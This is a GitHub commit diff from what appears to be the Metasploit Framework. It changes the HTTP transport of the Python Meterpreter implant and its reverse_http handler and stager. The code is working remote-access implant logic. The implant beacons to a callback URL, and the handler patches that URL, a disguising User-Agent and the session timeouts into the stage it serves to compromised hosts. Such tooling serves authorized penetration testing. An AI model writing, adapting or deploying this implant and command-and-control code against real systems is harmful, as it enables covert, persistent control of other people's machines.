Skip to content

Commit 7c14e81

Browse files
committed
Patch pymeterp http settings
1 parent 681ae8c commit 7c14e81

File tree

3 files changed

+37
-26
lines changed

3 files changed

+37
-26
lines changed

data/meterpreter/meterpreter.py

Lines changed: 30 additions & 9 deletions
Original file line numberDiff line numberDiff line change
@@ -19,10 +19,11 @@
1919
has_windll = hasattr(ctypes, 'windll')
2020

2121
try:
22+
urllib_imports = ['build_opener', 'install_opener', 'urlopen']
2223
if sys.version_info[0] < 3:
23-
urlopen = __import__('urllib', fromlist=['urlopen']).urlopen
24+
urllib = __import__('urllib2', fromlist=urllib_imports)
2425
else:
25-
urlopen = __import__('urllib.request', fromlist=['urlopen']).urlopen
26+
urllib = __import__('urllib.request', fromlist=urllib_imports)
2627
except ImportError:
2728
has_urllib = False
2829
else:
@@ -42,8 +43,13 @@
4243
#
4344
# Constants
4445
#
45-
CONNECTION_URL = None
46+
47+
# these values may be patched, DO NOT CHANGE THEM
4648
DEBUGGING = False
49+
HTTP_COMMUNICATION_TIMEOUT = 300
50+
HTTP_CONNECTION_URL = None
51+
HTTP_EXPIRATION_TIMEOUT = 604800
52+
HTTP_USER_AGENT = None
4753

4854
PACKET_TYPE_REQUEST = 0
4955
PACKET_TYPE_RESPONSE = 1
@@ -305,7 +311,7 @@ def __init__(self, socket=None):
305311
self.communications_last = 0
306312
if self.socket:
307313
self.driver = 'tcp'
308-
elif CONNECTION_URL:
314+
elif HTTP_CONNECTION_URL:
309315
self.driver = 'http'
310316
self.extension_functions = {}
311317
self.channels = {}
@@ -314,8 +320,17 @@ def __init__(self, socket=None):
314320
for func in list(filter(lambda x: x.startswith('_core'), dir(self))):
315321
self.extension_functions[func[1:]] = getattr(self, func)
316322
if self.driver:
323+
if hasattr(self, 'driver_init_' + self.driver):
324+
getattr(self, 'driver_init_' + self.driver)()
317325
self.running = True
318326

327+
def driver_init_http(self):
328+
opener = urllib.build_opener()
329+
if HTTP_USER_AGENT:
330+
opener.addheaders = [('User-Agent', HTTP_USER_AGENT)]
331+
urllib.install_opener(opener)
332+
self._http_last_seen = time.time()
333+
319334
def register_function(self, func):
320335
self.extension_functions[func.__name__] = func
321336
return func
@@ -355,10 +370,13 @@ def send_packet(self, packet):
355370
def get_packet_http(self):
356371
packet = None
357372
try:
358-
url_h = urlopen(CONNECTION_URL, bytes('RECV', 'UTF-8'))
373+
url_h = urllib.urlopen(HTTP_CONNECTION_URL, bytes('RECV', 'UTF-8'))
359374
packet = url_h.read()
360375
except:
361-
pass
376+
if (time.time() - self._http_last_seen) > HTTP_COMMUNICATION_TIMEOUT:
377+
self.running = False
378+
else:
379+
self._http_last_seen = time.time()
362380
if packet:
363381
packet = packet[8:]
364382
else:
@@ -367,10 +385,13 @@ def get_packet_http(self):
367385

368386
def send_packet_http(self, packet):
369387
try:
370-
url_h = urlopen(CONNECTION_URL, packet)
388+
url_h = urllib.urlopen(HTTP_CONNECTION_URL, packet)
371389
response = url_h.read()
372390
except:
373-
pass
391+
if (time.time() - self._http_last_seen) > HTTP_COMMUNICATION_TIMEOUT:
392+
self.running = False
393+
else:
394+
self._http_last_seen = time.time()
374395

375396
def get_packet_tcp(self):
376397
packet = None
@@ -614,7 +635,7 @@ def create_response(self, request):
614635
os.setsid()
615636
except OSError:
616637
pass
617-
if CONNECTION_URL and has_urllib:
638+
if HTTP_CONNECTION_URL and has_urllib:
618639
met = PythonMeterpreter()
619640
else:
620641
met = PythonMeterpreter(s)

lib/msf/core/handler/reverse_http.rb

Lines changed: 7 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -201,8 +201,11 @@ def on_request(cli, req, obj)
201201
blob = ""
202202
blob << obj.generate_stage
203203

204-
# Patch the conn_id
205-
blob = blob.sub("CONNECTION_URL = None", "CONNECTION_URL = '#{url}'")
204+
# Patch all the things
205+
blob = blob.sub("HTTP_CONNECTION_URL = None", "HTTP_CONNECTION_URL = '#{url}'")
206+
blob = blob.sub("HTTP_EXPIRATION_TIMEOUT = 604800", "HTTP_EXPIRATION_TIMEOUT = #{datastore['SessionExpirationTimeout']}")
207+
blob = blob.sub("HTTP_COMMUNICATION_TIMEOUT = 300", "HTTP_COMMUNICATION_TIMEOUT = #{datastore['SessionCommunicationTimeout']}")
208+
blob = blob.sub("HTTP_USER_AGENT = None", "HTTP_USER_AGENT = '#{datastore['MeterpreterUserAgent']}'")
206209

207210
resp.body = blob
208211

@@ -215,14 +218,15 @@ def on_request(cli, req, obj)
215218
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
216219
:ssl => ssl?,
217220
})
221+
218222
when /^\/INITJM/
219223
conn_id = generate_uri_checksum(URI_CHECKSUM_CONN) + "_" + Rex::Text.rand_text_alphanumeric(16)
220224
url = payload_uri + conn_id + "/\x00"
221225

222226
blob = ""
223227
blob << obj.generate_stage
224228

225-
# This is a TLV packet - I guess somewhere there should be API for building them
229+
# This is a TLV packet - I guess somewhere there should be an API for building them
226230
# in Metasploit :-)
227231
packet = ""
228232
packet << ["core_switch_url\x00".length + 8, 0x10001].pack('NN') + "core_switch_url\x00"

modules/payloads/stagers/python/reverse_http.rb

Lines changed: 0 additions & 14 deletions
Original file line numberDiff line numberDiff line change
@@ -24,13 +24,6 @@ def initialize(info = {})
2424
))
2525
end
2626

27-
#
28-
# Do not transmit the stage over the connection. We handle this via HTTPS
29-
#
30-
def stage_over_connection?
31-
false
32-
end
33-
3427
#
3528
# Constructs the payload
3629
#
@@ -54,11 +47,4 @@ def generate
5447
b64_stub << "')))"
5548
return b64_stub
5649
end
57-
58-
#
59-
# Always wait at least 20 seconds for this payload (due to staging delays)
60-
#
61-
def wfs_delay
62-
20
63-
end
6450
end

0 commit comments

Comments
 (0)